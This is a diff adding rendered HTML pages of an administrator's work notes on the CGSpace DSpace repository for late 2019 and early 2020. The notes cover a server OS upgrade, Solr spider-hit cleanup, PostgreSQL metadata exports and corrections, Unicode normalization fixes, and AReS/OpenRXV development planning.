  • Atmire merged my pull request regarding unnecessary escaping of dashes in regular expressions, as well as my suggestion of adding “User-Agent” to the list of patterns
    • +
  • I made another pull request to fix invalid escaping of one of their new patterns
    • +
  • I ran my check-spider-hits.sh script again with these new patterns and found a bunch more statistics requests that match, for example: +
      +
    • Found 39560 hits from ^Buck/[0-9] in statistics
      • +
    • Found 5471 hits from ^User-Agent in statistics
      • +
    • Found 2994 hits from ^Buck/[0-9] in statistics-2018
      • +
    • Found 14076 hits from ^User-Agent in statistics-2018
      • +
    • Found 16310 hits from ^User-Agent in statistics-2017
      • +
    • Found 4429 hits from ^User-Agent in statistics-2016
      • +
    +
    • +
  • Buck is one I’ve never heard of before, its user agent is:
    • +
+
Buck/2.2; (+https://app.hypefactors.com/media-monitoring/about.html)
+
    +
  • All in all that’s about 85,000 more hits purged, in addition to the 3.4 million I purged last week
    • +
+

2019-11-20

+
    +
  • Email Usman Muchlish from CIFOR to see what he’s doing with their DSpace lately
    • +
+

2019-11-21

+
    +
  • Discuss bugs and issues with AReS v2 that are limiting its adoption +
      +
    • BUG: If you search for items between year 2012 and 2019, then remove some years from the “info product analysis”, they are still present in the search results and export
      • +
    • FEATURE: Ability to add month to date filter?
      • +
    • FEATURE: Add “review status”, “series”, and “usage rights” to search filters
      • +
    • FEATURE: Downloads and views are not included in exports
      • +
    • FEATURE: Add more fields to exports (Abenet will clarify)
      • +
    +
    • +
  • As for the larger features to focus on in the future ToRs: +
      +
    • FEATURE: Unique, linkable URL for a set of search results (discussed with Moayad, he has a plan for this)
      • +
    • FEATURE: Reporting that we talked about in Amman in January, 2019.
      • +
    +
    • +
  • We have a meeting about AReS future developments with Jane, Abenet, Peter, and Enrico tomorrow
    • +
+

2019-11-22

+
    +
  • Skype with Jane, Abenet, Peter, and Enrico about AReS v2 future development +
      +
    • We want to move AReS v2 from dspacetest.cgiar.org/explorer to cgspace.cgiar.org/explorer
      • +
    • We want to maintain a public demo of the vanilla OpenRXV with a subset of data, for example a non-CG community
      • +
    • We want to try to move all issues and milestones to GitHub
      • +
    • I need to try to work with ILRI Finance to pre-pay the AReS Linode server (linode11779072) for 2020
      • +
    +
    • +
+

2019-11-24

+
    +
  • I rebooted DSpace Test (linode19) and it kernel panicked at boot +
      +
    • I looked on the console and saw that it can’t mount the root filesystem
      • +
    • I switched the boot configuration to use the OS’s kernel via GRUB2 instead of Linode’s kernel and then it came up after reboot…
      • +
    • I initiated a migration of the server from the Fremont, CA region to Frankfurt, DE +
        +
      • The migration is going very slowly, so I assume the network issues from earlier this year are still not fixed
        • +
      • I opened a new ticket (13056701) with Linode support, with reference to my previous ticket (11804943)
        • +
      +
      • +
    +
    • +
+

2019-11-25

+
    +
  • The migration of DSpace Test from Fremont, CA (USA) to Frankfurt (DE) region completed +
      +
    • The IP address of the server changed so I need to email CGNET to ask them to update the DNS
      • +
    +
    • +
+

2019-11-26

+
    +
  • Visit CodeObia to discuss future of OpenRXV and AReS +
      +
    • I started working on categorizing and validating the feedback that Jane collated into a spreadsheet last week
      • +
    • I added GitHub issues for eight of the items so far, tagging them by “bug”, “search”, “feature”, “graphics”, “low-priority”, etc
      • +
    • I moved AReS v2 to be available on CGSpace
      • +
    +
    • +
+

2019-11-27

+
    +
  • Minor updates on the dspace-statistics-api +
      +
    • Introduce isort for import sorting
      • +
    • Introduce black for code formatting according to PEP8
      • +
    • Fix some minor issues raised by flake8
      • +
    • Release version 1.1.1 and deploy to DSpace Test (linode19)
      • +
    • I realize that I never deployed version 1.1.0 (with falcon 2.0.0) on CGSpace (linode18) so I did that as well
      • +
    +
    • +
  • File a ticket (242418) with Altmetric about DCTERMS migration to see if there is anything we need to be careful about
    • +
  • Make a pull request against cg-core schema to fix inconsistent references to cg.embargoDate (#13)
    • +
  • Review the AReS feedback again after Peter made some comments +
      +
    • I standardized the GitHub issue labels in both OpenRXV and AReS issue trackers, using labels like “P-low” for priority
      • +
    • I filed another handful of issues in both trackers and added them to the spreadsheet
      • +
    +
    • +
  • I need to ask Marie-Angelique about the cg.peer-reviewed field +
      +
    • We currently use dc.description.version with values like “Internal Review” and “Peer Review”, and CG Core v2 currently recommends using “True” if the field is peer reviewed
      • +
    +
    • +
+

2019-11-28

+
    +
  • File an issue with CG Core v2 project to ask Marie-Angelique about expanding the scope of cg.peer-reviewed to include other types of review, and possibly to change the field name to something more generic like cg.review-status (#14)
    • +
  • More review of AReS feedback +
      +
    • I clarified some of the feedback
      • +
    • I added status of “Issue Filed”, “Duplicate” and “No Action Required” to several items
      • +
    • I filed a handful more GitHub issues in AReS and OpenRXV GitHub trackers
      • +
    +
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2019-12/index.html b/docs/2019-12/index.html new file mode 100644 index 000000000..3e8ca27c7 --- /dev/null +++ b/docs/2019-12/index.html @@ -0,0 +1,458 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + December, 2019 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

December, 2019

+

+ + in + Notes + + +

+
+

2019-12-01

+
    +
  • Upgrade CGSpace (linode18) to Ubuntu 18.04: +
      +
    • Check any packages that have residual configs and purge them:
      • +
    • # dpkg -l | grep -E ‘^rc’ | awk ‘{print $2}’ | xargs dpkg -P
      • +
    • Make sure all packages are up to date and the package manager is up to date, then reboot:
      • +
    +
    • +
+
# apt update && apt full-upgrade
+# apt-get autoremove && apt-get autoclean
+# dpkg -C
+# reboot
+
    +
  • Take some backups:
    • +
+
# dpkg -l > 2019-12-01-linode18-dpkg.txt
+# tar czf 2019-12-01-linode18-etc.tar.gz /etc
+
    +
  • Then check all third-party repositories in /etc/apt to see if everything using “xenial” has packages available for “bionic” and then update the sources:
    • +
  • # sed -i ’s/xenial/bionic/’ /etc/apt/sources.list.d/*.list
    • +
  • Pause the Uptime Robot monitoring for CGSpace
    • +
  • Make sure the update manager is installed and do the upgrade:
    • +
+
# apt install update-manager-core
+# do-release-upgrade
+
    +
  • After the upgrade finishes, remove Java 11, force the installation of bionic nginx, and reboot the server:
    • +
+
# apt purge openjdk-11-jre-headless
+# apt install 'nginx=1.16.1-1~bionic'
+# reboot
+
    +
  • After the server comes back up, remove Python virtualenvs that were created with Python 3.5 and re-run certbot to make sure it’s working:
    • +
+
# rm -rf /opt/eff.org/certbot/venv/bin/letsencrypt
+# rm -rf /opt/ilri/dspace-statistics-api/venv
+# /opt/certbot-auto
+
    +
  • Clear Ansible’s fact cache and re-run the playbooks to update the system’s firewalls, SSH config, etc
    • +
  • Altmetric finally responded to my question about Dublin Core fields +
      +
    • They shared a list of fields they use for tracking, but it only mentions HTML meta tags, and not fields considered when harvesting via OAI
      • +
    • Anyways, there might be some areas we can improve on the HTML meta tags, if I look at one item with a DOI, ISSN, etc I see that we could at least add status (Open Access) and journal title
      • +
    • I merged a pull request into the 5_x-prod branch to add status and journal title to the XHTML meta tags
      • +
    +
    • +
+

2019-12-02

+
    +
  • Raise the issue of old, low-quality thumbnails with Peter and the CGSpace team +
      +
    • I suggested that we move manually uploaded thumbnails from the ORIGINAL bundle to the THUMBNAIL bundle
      • +
    • Also replace old thumbnails where an item is available on Slideshare or YouTube because those are easy to get new, high-quality thumbnails for
      • +
    +
    • +
  • Continue testing CG Core v2 implementation on DSpace Test +
      +
    • Compare the OAI QDC representation of a few items on CGSpace vs DSpace Test:
      • +
    +
    • +
+
$ http 'https://cgspace.cgiar.org/oai/request?verb=GetRecord&metadataPrefix=oai_dc&identifier=oai:cgspace.cgiar.org:10568/104030' > /tmp/cgspace-104030.xml
+$ http 'https://dspacetest.cgiar.org/oai/request?verb=GetRecord&metadataPrefix=oai_dc&identifier=oai:cgspace.cgiar.org:10568/104030' > /tmp/dspacetest-104030.xml
+
    +
  • The DSpace Test ones actually now capture the DOI, where the CGSpace doesn’t…
    • +
  • And the DSpace Test one doesn’t include review status as dc.description, but I don’t think that’s an important field
    • +
+

2019-12-04

+
    +
  • Peter noticed that there were about seventy items on CGSpace that were marked as private +
      +
    • Some have been withdrawn, but I extracted a list of the forty-eight that were not:
      • +
    +
    • +
+
dspace=# \COPY (SELECT handle, owning_collection FROM item, handle WHERE item.discoverable='f' AND item.in_archive='t' AND handle.resource_id = item.item_id) to /tmp/2019-12-04-CGSpace-private-items.csv WITH CSV HEADER;
+COPY 48
+

2019-12-05

+ +

2019-12-08

+
    +
  • Enrico noticed that the AReS Explorer on CGSpace (linode18) was down +
      +
    • I only see HTTP 502 in the nginx logs on CGSpace… so I assume it’s something wrong with the AReS server
      • +
    • I ran all system updates on the AReS server (linode20) and rebooted it
      • +
    • After rebooting the Explorer was accessible again
      • +
    +
    • +
+

2019-12-09

+
    +
  • Update PostgreSQL JDBC driver to version 42.2.9 in Ansible playbooks +
      +
    • Deploy on DSpace Test (linode19) to test before deploying on CGSpace in a few days
      • +
    +
    • +
  • Altmetric responded to my question about the WLE item that has a lower score than its DOI +
      +
    • They say that they will “reprocess” the item “before Christmas”
      • +
    +
    • +
+

2019-12-11

+
    +
  • Post message to Yammer about good practices for thumbnails on CGSpace +
      +
    • On the topic of thumbnails, I’m thinking we might want to force regenerate all PDF thumbnails on CGSpace since we upgraded it to Ubuntu 18.04 and got a new ghostscript…
      • +
    +
    • +
  • More discussion about report formats for AReS
    • +
  • Peter noticed that the Atmire reports weren’t showing any statistics before 2019 +
      +
    • I checked and indeed Solr had an issue loading some core last time it was started
      • +
    • I restarted Tomcat three times before all cores came up successfully
      • +
    +
    • +
  • While I was restarting the Tomcat service I upgraded the PostgreSQL JDBC driver to version 42.2.9, which had been deployed on DSpace Test earlier this week
    • +
+

2019-12-16

+
    +
  • Visit CodeObia office to discuss next phase of OpenRXV/AReS development +
      +
    • We discussed using CSV instead of Excel for tabular reports +
        +
      • OpenRXV should only have “simple” reports with Dublin Core fields
        • +
      • AReS should have this as well as a customized “extended” report that has CRPs, Subjects, Sponsors, etc from CGSpace
        • +
      +
      • +
    • We discussed using RTF instead of Word for graphical reports
      • +
    +
    • +
+

2019-12-17

+
    +
  • Start filing GitHub issues for the reporting features on OpenRXV and AReS +
      +
    • I created an issue for the “simple” tabular reports on OpenRXV GitHub (#29)
      • +
    • I created an issue for the “extended” tabular reports on AReS GitHub (#8)
      • +
    • I created an issue for “simple” text reports on the OpenRXV GitHub (#30)
      • +
    • I created an issue for “extended” text reports on the AReS GitHub (#9)
      • +
    +
    • +
  • I looked into creating RTF documents from HTML in Node.js and there is a library called html-to-rtf that works well, but doesn’t support images
    • +
  • Export a list of all investors (dc.description.sponsorship) for Peter to look through and correct:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value as "dc.contributor.sponsor", count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 29 GROUP BY text_value ORDER BY count DESC LIMIT 1500) to /tmp/2019-12-17-investors.csv WITH CSV HEADER;
+COPY 643
+

2019-12-18

+
    +
  • Apply the investor corrections and deletions from Peter on CGSpace:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2019-12-17-investors-fix-112.csv -db dspace -u dspace -p 'fuuu' -f dc.description.sponsorship -m 29 -t correct -d
+$ ./delete-metadata-values.py -i /tmp/2019-12-17-investors-delete-68.csv -db dspace -u dspace -p 'fuuu' -m 29 -f dc.description.sponsorship -d
+
    +
  • Peter asked about the “Open Government Licence 3.0” that is used by some items +
      +
    • I notice that it exists in SPDX as UGL-UK-3.0 so I created a GitHub issue to add this to our controlled vocabulary (#439)
      • +
    • I only see two in our database that use this for now, so I will update them:
      • +
    +
    • +
+
dspace=# SELECT text_value FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=53 AND text_value LIKE '%Open%';
+         text_value          
+-----------------------------
+ Open Government License 3.0
+ Open Government License 3.0
+(2 rows)
+dspace=# UPDATE metadatavalue SET text_value='OGL-UK-3.0' WHERE resource_type_id=2 AND metadata_field_id=53 AND text_value LIKE '%Open Government License 3.0%';
+UPDATE 2
+
    +
  • I created a pull request to add the license and merged it to the 5_x-prod branch (#440)
    • +
  • Add three new CCAFS Phase II project tags to CGSpace (#441)
    • +
  • Linode said DSpace Test (linode19) had an outbound traffic rate of 73Mb/sec for the last two hours +
      +
    • I see some Russian bot active in nginx’s access logs:
      • +
    +
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -c MegaIndex.ru 
+27320
+
    +
  • I see they did check robots.txt and their requests are only going to XMLUI item pages… so I guess I just leave them alone
    • +
  • Peter wrote to ask why this one WLE item does not have an Altmetric attention score, but the DOI does +
      +
    • I tweeted the item just in case, but Peter said that he already did it yesterday
      • +
    • The item was added six months ago…
      • +
    • The DOI has an Altmetric score of 259, but for the Handle it is HTTP 404!
      • +
    • I emailed Altmetric support
      • +
    +
    • +
+

2019-12-22

+
    +
  • I ran the dspace cleanup process on CGSpace (linode18) and had an error:
    • +
+
Error: ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"
+  Detail: Key (bitstream_id)=(179441) is still referenced from table "bundle".
+
    +
  • The solution is to delete that bitstream manually:
    • +
+
$ psql dspace -c 'update bundle set primary_bitstream_id=NULL where primary_bitstream_id in (179441);'
+UPDATE 1
+
+

2019-12-23

+
    +
  • Follow up with Altmetric on the issue where an item has a different (lower) score for its Handle despite it having a correct DOI (with a higher score) +
      +
    • I’ve raised this issue three times to Altmetric this year, and a few weeks ago they said they would re-process the item “before Christmas”
      • +
    +
    • +
  • Abenet suggested we use cg.reviewStatus instead of cg.review-status and I agree that we should follow other examples like DCTERMS.accessRights and DCTERMS.isPartOf + +
    • +
+

2019-12-30

+
    +
  • Altmetric responded a few days ago about the item that has a different (lower) score for its Handle despite it having a correct DOI (with a higher score) +
      +
    • She tweeted the repository link and agreed that it didn’t get picked up by Altmetric
      • +
    • She said she will add this to the existing ticket about the previous items I had raised an issue about
      • +
    +
    • +
  • Update Tomcat to version 7.0.99 in the Ansible infrastructure playbooks and deploy on DSpace Test (linode19)
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2019/01/firebase-link-not-found.png b/docs/2019/01/firebase-link-not-found.png new file mode 100644 index 000000000..0172daa29 Binary files /dev/null and b/docs/2019/01/firebase-link-not-found.png differ diff --git a/docs/2019/01/solr-stats-correct.png b/docs/2019/01/solr-stats-correct.png new file mode 100644 index 000000000..7a170d375 Binary files /dev/null and b/docs/2019/01/solr-stats-correct.png differ diff --git a/docs/2019/01/solr-stats-incorrect.png b/docs/2019/01/solr-stats-incorrect.png new file mode 100644 index 000000000..436372d7a Binary files /dev/null and b/docs/2019/01/solr-stats-incorrect.png differ diff --git a/docs/2019/02/iita-workflow-step1-empty.png b/docs/2019/02/iita-workflow-step1-empty.png new file mode 100644 index 000000000..7fc9106d2 Binary files /dev/null and b/docs/2019/02/iita-workflow-step1-empty.png differ diff --git a/docs/2019/02/statlets-working.png b/docs/2019/02/statlets-working.png new file mode 100644 index 000000000..40a6e0e05 Binary files /dev/null and b/docs/2019/02/statlets-working.png differ diff --git a/docs/2019/02/usage-stats.png b/docs/2019/02/usage-stats.png new file mode 100644 index 000000000..a0d17434c Binary files /dev/null and b/docs/2019/02/usage-stats.png differ diff --git a/docs/2019/02/yasgui-agrovoc.png b/docs/2019/02/yasgui-agrovoc.png new file mode 100644 index 000000000..6f869fffe Binary files /dev/null and b/docs/2019/02/yasgui-agrovoc.png differ diff --git a/docs/2019/03/cpu-day-fs8.png b/docs/2019/03/cpu-day-fs8.png new file mode 100644 index 000000000..1a068b302 Binary files /dev/null and b/docs/2019/03/cpu-day-fs8.png differ diff --git a/docs/2019/03/cpu-week-fs8.png b/docs/2019/03/cpu-week-fs8.png new file mode 100644 index 000000000..38e357ded Binary files /dev/null and b/docs/2019/03/cpu-week-fs8.png differ diff --git a/docs/2019/03/cpu-week-migrated.png b/docs/2019/03/cpu-week-migrated.png new file mode 100644 index 000000000..ac33d351a Binary files /dev/null and b/docs/2019/03/cpu-week-migrated.png differ diff --git a/docs/2019/03/cpu-year-fs8.png b/docs/2019/03/cpu-year-fs8.png new file mode 100644 index 000000000..8573b582f Binary files /dev/null and b/docs/2019/03/cpu-year-fs8.png differ diff --git a/docs/2019/04/cpu-week.png b/docs/2019/04/cpu-week.png new file mode 100644 index 000000000..06b95d262 Binary files /dev/null and b/docs/2019/04/cpu-week.png differ diff --git a/docs/2019/04/cpu-week2.png b/docs/2019/04/cpu-week2.png new file mode 100644 index 000000000..e2c3a7b6e Binary files /dev/null and b/docs/2019/04/cpu-week2.png differ diff --git a/docs/2019/04/cpu-week3.png b/docs/2019/04/cpu-week3.png new file mode 100644 index 000000000..a3a75fb5b Binary files /dev/null and b/docs/2019/04/cpu-week3.png differ diff --git a/docs/2019/04/cpu-week4.png b/docs/2019/04/cpu-week4.png new file mode 100644 index 000000000..481866c8e Binary files /dev/null and b/docs/2019/04/cpu-week4.png differ diff --git a/docs/2019/04/cpu-week5.png b/docs/2019/04/cpu-week5.png new file mode 100644 index 000000000..46c7bd114 Binary files /dev/null and b/docs/2019/04/cpu-week5.png differ diff --git a/docs/2019/04/visualvm-solr-indexing-16384-filterCache.png b/docs/2019/04/visualvm-solr-indexing-16384-filterCache.png new file mode 100644 index 000000000..fa99be148 Binary files /dev/null and b/docs/2019/04/visualvm-solr-indexing-16384-filterCache.png differ diff --git a/docs/2019/04/visualvm-solr-indexing-4096-filterCache.png b/docs/2019/04/visualvm-solr-indexing-4096-filterCache.png new file mode 100644 index 000000000..a14977ba6 Binary files /dev/null and b/docs/2019/04/visualvm-solr-indexing-4096-filterCache.png differ diff --git a/docs/2019/04/visualvm-solr-indexing-solr-settings.png b/docs/2019/04/visualvm-solr-indexing-solr-settings.png new file mode 100644 index 000000000..873cc1cec Binary files /dev/null and b/docs/2019/04/visualvm-solr-indexing-solr-settings.png differ diff --git a/docs/2019/04/visualvm-solr-indexing.png b/docs/2019/04/visualvm-solr-indexing.png new file mode 100644 index 000000000..197eb78e7 Binary files /dev/null and b/docs/2019/04/visualvm-solr-indexing.png differ diff --git a/docs/2019/05/2019-05-06-cpu-day.png b/docs/2019/05/2019-05-06-cpu-day.png new file mode 100644 index 000000000..3ac07ec51 Binary files /dev/null and b/docs/2019/05/2019-05-06-cpu-day.png differ diff --git a/docs/2019/05/2019-05-06-fw_conntrack-day.png b/docs/2019/05/2019-05-06-fw_conntrack-day.png new file mode 100644 index 000000000..ce253ef17 Binary files /dev/null and b/docs/2019/05/2019-05-06-fw_conntrack-day.png differ diff --git a/docs/2019/05/2019-05-06-jmx_dspace_sessions-day.png b/docs/2019/05/2019-05-06-jmx_dspace_sessions-day.png new file mode 100644 index 000000000..453a0a4f6 Binary files /dev/null and b/docs/2019/05/2019-05-06-jmx_dspace_sessions-day.png differ diff --git a/docs/2019/05/2019-05-06-postgres_connections_db-day.png b/docs/2019/05/2019-05-06-postgres_connections_db-day.png new file mode 100644 index 000000000..d4a7d3e97 Binary files /dev/null and b/docs/2019/05/2019-05-06-postgres_connections_db-day.png differ diff --git a/docs/2019/05/2019-05-07-atmire-usage-week.png b/docs/2019/05/2019-05-07-atmire-usage-week.png new file mode 100644 index 000000000..3cb3c925d Binary files /dev/null and b/docs/2019/05/2019-05-07-atmire-usage-week.png differ diff --git a/docs/2019/07/atmire-cua-2018-missing.png b/docs/2019/07/atmire-cua-2018-missing.png new file mode 100644 index 000000000..eced2d3ec Binary files /dev/null and b/docs/2019/07/atmire-cua-2018-missing.png differ diff --git a/docs/2020-01/index.html b/docs/2020-01/index.html new file mode 100644 index 000000000..412a715b7 --- /dev/null +++ b/docs/2020-01/index.html @@ -0,0 +1,658 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + January, 2020 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

January, 2020

+

+ + in + Notes + + +

+
+

2020-01-06

+
    +
  • Open a ticket with Atmire to request a quote for the upgrade to DSpace 6
    • +
  • Last week Altmetric responded about the item that had a lower score than than its DOI +
      +
    • The score is now linked to the DOI
      • +
    • Another item that had the same problem in 2019 has now also linked to the score for its DOI
      • +
    • Another item that had the same problem in 2019 has also been fixed
      • +
    +
    • +
+

2020-01-07

+
    +
  • Peter Ballantyne highlighted one more WLE item that is missing the Altmetric score that its DOI has +
      +
    • The DOI has a score of 259, but the Handle has no score at all
      • +
    • I tweeted the CGSpace repository link
      • +
    +
    • +
+

2020-01-08

+
    +
  • Export a list of authors from CGSpace for Peter Ballantyne to look through and correct:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value as "dc.contributor.author", count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 3 GROUP BY text_value ORDER BY count DESC) to /tmp/2020-01-08-authors.csv WITH CSV HEADER;
+COPY 68790
+
    +
  • As I always have encoding issues with files Peter sends, I tried to convert it to some Windows encoding, but got an error:
    • +
+
$ iconv -f utf-8 -t windows-1252 /tmp/2020-01-08-authors.csv -o /tmp/2020-01-08-authors-windows.csv
+iconv: illegal input sequence at position 104779
+
    +
  • According to this trick the troublesome character is on line 5227:
    • +
+
$ awk 'END {print NR": "$0}' /tmp/2020-01-08-authors-windows.csv                                   
+5227: "Oue
+$ sed -n '5227p' /tmp/2020-01-08-authors.csv | xxd -c1
+00000000: 22  "
+00000001: 4f  O
+00000002: 75  u
+00000003: 65  e
+00000004: cc  .
+00000005: 81  .
+00000006: 64  d
+00000007: 72  r
+
    +
  • According to the blog post linked above the troublesome character is probably the “High Octect Preset” (81), which vim identifies (using ga on the character) as:
    • +
+
<e>  101,  Hex 65,  Octal 145 < ́> 769, Hex 0301, Octal 1401
+
    +
  • If I understand the situation correctly it sounds like this means that the character is not actually encoded as UTF-8, so it’s stored incorrectly in the database…
    • +
  • Other encodings like windows-1251 and windows-1257 also fail on different characters like “ž” and “é” that are legitimate UTF-8 characters
    • +
  • Then there is the issue of Russian, Chinese, etc characters, which are simply not representable in any of those encodings
    • +
  • I think the solution is to upload it to Google Docs, or just send it to him and deal with each case manually in the corrections he sends me
    • +
  • Re-deploy DSpace Test (linode19) with a fresh snapshot of the CGSpace database and assetstore, and using the 5_x-prod (no CG Core v2) branch
    • +
+

2020-01-14

+
    +
  • I checked the yearly Solr statistics sharding cron job that should have run on 2020-01 on CGSpace (linode18) and saw that there was an error +
      +
    • I manually ran it on the server as the DSpace user and it said “Moving: 51633080 into core statistics-2019”
      • +
    • After a few hours it died with the same error that I had seen in the log from the first run:
      • +
    +
    • +
+
Exception: Read timed out
+java.net.SocketTimeoutException: Read timed out
+
    +
  • I am not sure how I will fix that shard…
    • +
  • I discovered a very interesting tool called ftfy that attempts to fix errors in UTF-8 +
      +
    • I’m curious to start checking input files with this to see what it highlights
      • +
    • I ran it on the authors file from last week and it converted characters like those with Spanish accents from multi-byte sequences (I don’t know what it’s called?) to digraphs (é→é), which vim identifies as:
      • +
    • <e> 101, Hex 65, Octal 145 < ́> 769, Hex 0301, Octal 1401
      • +
    • <é> 233, Hex 00e9, Oct 351, Digr e'
      • +
    +
    • +
  • Ah hah! We need to be normalizing characters into their canonical forms! + +
    • +
+
In [7]: unicodedata.is_normalized('NFC', 'é')
+Out[7]: False
+
+In [8]: unicodedata.is_normalized('NFC', 'é')
+Out[8]: True
+

2020-01-15

+
    +
  • I added support for Unicode normalization to my csv-metadata-quality tool in v0.4.0
    • +
  • Generate ILRI and Bioversity subject lists for Elizabeth Arnaud from Bioversity:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value as "cg.subject.ilri", count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 203 GROUP BY text_value ORDER BY count DESC) to /tmp/2020-01-15-ilri-subjects.csv WITH CSV HEADER;
+COPY 144
+dspace=# \COPY (SELECT DISTINCT text_value as "cg.subject.bioversity", count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 120 GROUP BY text_value ORDER BY count DESC) to /tmp/2020-01-15-bioversity-subjects.csv WITH CSV HEADER;
+COPY 1325
+
    +
  • She will be meeting with FAO and will look over the terms to see if they can add some to AGROVOC
    • +
  • I noticed a few errors in the ILRI subjects so I fixed them locally and on CGSpace (linode18) using my fix-metadata.py script:
    • +
+
$ ./fix-metadata-values.py -i 2020-01-15-fix-8-ilri-subjects.csv -db dspace -u dspace -p 'fuuu' -f cg.subject.ilri -m 203 -t correct -d
+

2020-01-16

+
    +
  • Extract a list of CIAT subjects from CGSpace for Elizabeth Arnaud from Bioversity:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value as "cg.subject.ciat", count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 122 GROUP BY text_value ORDER BY count DESC) to /tmp/2020-01-16-ciat-subjects.csv WITH CSV HEADER;
+COPY 35
+
    +
  • Start examining the 175 IITA records that Bosede originally sent in October, 2019 (201907.xls) +
      +
    • We had delayed processing them because DSpace Test (linode19) was testing CG Core v2 implementation for the last few months
      • +
    • Sisay uploaded the records to DSpace Test as IITA_201907_Jan13
      • +
    • I started first with basic sanity checks using my csv-metadata-quality tool and found twenty-two items with extra whitespace, invalid multi-value separators, and duplicates, which means Sisay did not do any quality checking on the data
      • +
    • I corrected one invalid AGROVOC subject
      • +
    • Validate and normalize affiliations against our 2019-04 list using reconcile-csv and OpenRefine: +
        +
      • $ lein run ~/src/git/DSpace/2019-04-08-affiliations.csv name id
        • +
      • I always forget how to copy the reconciled values in OpenRefine, but you need to make a new column and populate it using this GREL: if(cell.recon.matched, cell.recon.match.name, value)
        • +
      +
      • +
    +
    • +
+

2020-01-20

+
    +
  • Last week Atmire sent a quotation for the DSpace 6 upgrade that I had requested a few weeks ago +
      +
    • I forwarded it to Peter et al for their comment
      • +
    • We decided that we should probably buy enough credits to cover the upgrade and have 100 remaining for future development
      • +
    +
    • +
  • Visit CodeObia to discuss the next phase of AReS development
    • +
+

2020-01-21

+ +

2020-01-22

+
    +
  • I tried to create a MaxMind account so I can download the GeoLite2-City database with a license key, but their server refuses to accept me:
    • +
+
Sorry, we were not able to create your account. Please ensure that you are using an email that is not disposable, and that you are not connecting via a proxy or VPN.
+
    +
  • They started limiting public access to the database in December, 2019 due to GDPR and CCPA +
      +
    • This will be a problem in the future (see DS-4409)
      • +
    +
    • +
  • Peter sent me his corrections for the list of authors that I had sent him earlier in the month +
      +
    • There were encoding issues when I checked the file in vim and using Python-based tools, but OpenRefine was able to read and export it as UTF-8
      • +
    • I will apply them on CGSpace and DSpace Test using my fix-metadata-values.py script:
      • +
    +
    • +
+
$ ./fix-metadata-values.py -i /tmp/2020-01-08-fix-2302-authors.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -m 3 -t correct -d
+
    +
  • Then I decided to export them again (with two author columns) so I can perform the new Unicode normalization mode I added to csv-metadata-quality:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value as "dc.contributor.author", count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 3 GROUP BY text_value ORDER BY count DESC) to /tmp/2020-01-22-authors.csv WITH CSV HEADER;
+COPY 67314
+dspace=# \q
+$ csv-metadata-quality -i /tmp/2020-01-22-authors.csv -o /tmp/authors-normalized.csv -u --exclude-fields 'dc.date.issued,dc.date.issued[],dc.contributor.author'
+$ ./fix-metadata-values.py -i /tmp/authors-normalized.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -m 3 -t correct
+
    +
  • Peter asked me to send him a list of affiliations to correct +
      +
    • First I decided to export them and run the Unicode normalizations and syntax checks with csv-metadata-quality and re-import the cleaned up values:
      • +
    +
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value as "cg.contributor.affiliation", text_value as "correct", count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 211 GROUP BY text_value ORDER BY count DESC) to /tmp/2020-01-22-affiliations.csv WITH CSV HEADER;
+COPY 6170
+dspace=# \q
+$ csv-metadata-quality -i /tmp/2020-01-22-affiliations.csv -o /tmp/affiliations-normalized.csv -u --exclude-fields 'dc.date.issued,dc.date.issued[],cg.contributor.affiliation'
+$ ./fix-metadata-values.py -i /tmp/affiliations-normalized.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.affiliation -m 211 -t correct -n
+
    +
  • I applied the corrections on DSpace Test and CGSpace, and then scheduled a full Discovery reindex for later tonight:
    • +
+
$ sleep 4h && time schedtool -D -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
    +
  • Then I generated a new list for Peter:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value as "cg.contributor.affiliation", count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 211 GROUP BY text_value ORDER BY count DESC) to /tmp/2020-01-22-affiliations.csv WITH CSV HEADER;
+COPY 6162
+
    +
  • Abenet said she noticed that she gets different results on AReS and Atmire Listing and Reports, for example with author “Hung, Nguyen” +
      +
    • I generated a report for 2019 and 2020 with each and I see there are indeed ten more Handles in the results from L&R:
      • +
    +
    • +
+
$ in2csv AReS-1-801dd394-54b5-436c-ad09-4f2e25f7e62e.xlsx | sed -E 's/10568 ([0-9]+)/10568\/\1/' | csvcut -c Handle | grep -v Handle | sort -u > hung-nguyen-ares-handles.txt
+$ grep -oE '10568\/[0-9]+' hung-nguyen-atmire.txt | sort -u > hung-nguyen-atmire-handles.txt
+$ wc -l hung-nguyen-a*handles.txt
+  46 hung-nguyen-ares-handles.txt
+  56 hung-nguyen-atmire-handles.txt
+ 102 total
+
    +
